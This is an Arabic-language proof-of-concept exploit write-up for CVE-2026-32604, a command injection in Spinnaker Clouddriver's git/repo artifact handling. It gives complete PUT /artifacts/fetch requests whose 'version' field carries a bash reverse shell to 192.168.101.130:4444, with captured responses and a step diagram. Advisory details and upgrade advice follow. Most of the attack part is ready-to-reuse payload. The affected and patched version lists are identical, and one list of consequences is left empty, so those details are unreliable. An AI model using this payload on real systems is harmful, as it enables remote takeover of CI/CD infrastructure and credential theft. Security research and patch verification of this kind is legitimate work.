
إثبات مفهوم الاستغلال لـ CVE-2026-32604، وهو تنفيذ أوامر عن بُعد (RCE) عبر حقن الأوامر في معالجة قطعة GitRepo الفنية في Spinnaker من خلال حقل version.
CVE-2026-32604 - تنفيذ تعليمات برمجية عن بُعد في Spinnaker من خلال نوع الـ artifact
git/repo.
هذه ثغرة حقن أوامر / تنفيذ تعليمات برمجية عن بُعد في معالجة GitRepo artifact في Spinnaker.
تسمح الوظيفة المصابة للقيم التي يتحكم بها المستخدم والمُمرَّرة عبر حقل version الخاص بـ artifact من نوع git/repo بالوصول إلى تنفيذ الأوامر دون تنقية مناسبة.
نقطة النهاية المصابة هي:
PUT /artifacts/fetch
الجزء المهم هو أن التطبيق يكشف عن مزوّد الـ artifact git/repo من خلال:
GET /artifacts/credentials
والذي يُرجع:
[
{
"name": "embedded-artifact",
"type": "artifacts-embedded",
"types": [
"embedded/base64",
"remote/base64"
]
},
{
"name": "front50ArtifactCredentials",
"type": "artifacts-front50",
"types": [
"front50/pipelineTemplate"
]
},
{
"name": "lab-gitrepo",
"type": "git/repo",
"types": [
"git/repo"
]
},
{
"name": "custom-artifact",
"type": "artifacts-custom",
"types": [
"custom/object"
]
}
]
هذا يؤكد أن نوع الـ artifact git/repo متاح.
يُرسَل الطلب المصاب إلى:
PUT /artifacts/fetch
مع جسم JSON يحتوي على Git repository artifact.
يمكن التلاعب بمعامل version باستخدام صيغة shell.
للاختبار، استخدمت:
main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #
الطلب الكامل الذي تم التقاطه أثناء PoC كان:
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 245
{
"type": "git/repo",
"name": "https://github.com/spinnaker/spinnaker.git",
"reference": "https://github.com/spinnaker/spinnaker.git",
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
"artifactAccount": "lab-gitrepo"
}
المعامل المهم هنا هو:
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #"
يُضاف تعبير shell المحقون بعد قيمة فرع/إصدار Git المتوقعة.
تُستخدم # لتعليق ما تبقى من الأمر بعد التعبير المحقون.
تم قبول الطلب من قِبَل التطبيق المصاب.
استجابة HTTP التي تم التقاطها كانت:
HTTP/1.1 200 OK
ETag: "036378056a333bda685add0375343e80c"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 345
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive
[
{
"name": "embedded-artifact",
"type": "artifacts-embedded",
"types": [
"embedded/base64",
"remote/base64"
]
},
{
"name": "front50ArtifactCredentials",
"type": "artifacts-front50",
"types": [
"front50/pipelineTemplate"
]
},
{
"name": "lab-gitrepo",
"type": "git/repo",
"types": [
"git/repo"
]
},
{
"name": "custom-artifact",
"type": "artifacts-custom",
"types": [
"custom/object"
]
}
]
النقطة ذات الصلة هي أن نوع الـ artifact المصاب موجود وأن قيمة version الخبيثة مقبولة من قِبَل نقطة نهاية جلب الـ artifact.
قبل اختبار نقطة النهاية المصابة، تحققت من أن الهدف يستجيب:
GET /health HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
الاستجابة:
HTTP/1.1 200 OK
ETag: "06b3d339e07161970cd740c9542492218"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 15
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive
{"status":"UP"}
الـ PoC هو ببساطة:
Target
│
├── GET /health
│ └── {"status":"UP"}
│
├── GET /artifacts/credentials
│ └── git/repo artifact type exposed
│
└── PUT /artifacts/fetch
│
├── type = git/repo
├── reference = attacker-controlled Git repository/reference
└── version = injected shell command
│
└── command execution
المشكلة ليست مجرد أن نقطة النهاية تقبل اسم فرع Git. المشكلة هي أن بيانات Git artifact التي يتحكم بها المهاجم تصل إلى سياق تنفيذ أوامر دون تقييدها بأمان ضمن صيغة إصدار/فرع Git المتوقعة.
لإعادة الإنتاج السريع، الطلب الأساسي هو:
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
Content-Type: application/json
{
"type": "git/repo",
"name": "https://github.com/spinnaker/spinnaker.git",
"reference": "https://github.com/spinnaker/spinnaker.git",
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
"artifactAccount": "lab-gitrepo"
}
الحمولة أعلاه مخصصة لبيئة مختبرية خاضعة للسيطرة فقط.
يتضمن المسار المصاب معالجة تطبيق GitRepo artifact لمعلومات artifact يتحكم بها المهاجم.
القيمة المتوقعة لـ version هي شيء مشابه لـ:
main
لكن التطبيق لا يقيّد القيمة بشكل كافٍ ضمن ذلك التنسيق المتوقع.
بدلاً من ذلك، يمكن إدخال صيغة shell:
main; <command> #
مما يغيّر معنى الأمر الناتج.
هذا يحوّل عملية استرجاع artifact إلى تنفيذ أوامر عشوائية في سياق خدمة Spinnaker Clouddriver المصابة.
قد يؤدي الاستغلال الناجح إلى تنفيذ أوامر عشوائية على pod الـ Clouddriver المتأثر.
اعتماداً على الأذونات وبيئة الـ pod المخترق، قد يسمح ذلك للمهاجم بما يلي:
يشير إشعار Spinnaker الرسمي تحديداً إلى أن الاستغلال قد يكشف بيانات الاعتماد، أو يحذف ملفات، أو يحقن موارد.
وفقاً لإشعار أمان Spinnaker، تشمل خطوط الإصدار المتأثرة الإصدارات الأقدم من:
2025.3.2
2025.4.2
2026.0.1
2026.1.0
الإصدارات المُرقَّعة هي:
2025.3.2
2025.4.2
2026.0.1
2026.1.0
تُتابَع الثغرة تحت CVE-2026-32604 وتُصنَّف كـ CWE-20: التحقق غير السليم من المدخلات.
قم بترقية Spinnaker إلى إصدار مُرقَّع.
يُدرج الإشعار الأصلي أيضاً تعطيل نوع الـ artifact git/repo كحل بديل للتركيبات التي لا يمكنها الترقية فوراً.
يجب استخدام إصدارات Spinnaker الحالية حيثما أمكن بدلاً من البقاء على فرع إصدار متأثر.
يُقدَّم هذا الـ PoC لأغراض البحث الأمني والتحقق من الثغرات والاختبار المصرَّح به.
شغّله فقط ضد الأنظمة التي تملكها أو لديك إذن صريح باختبارها.
اختبرت الثغرة في بيئة مختبرية معزولة.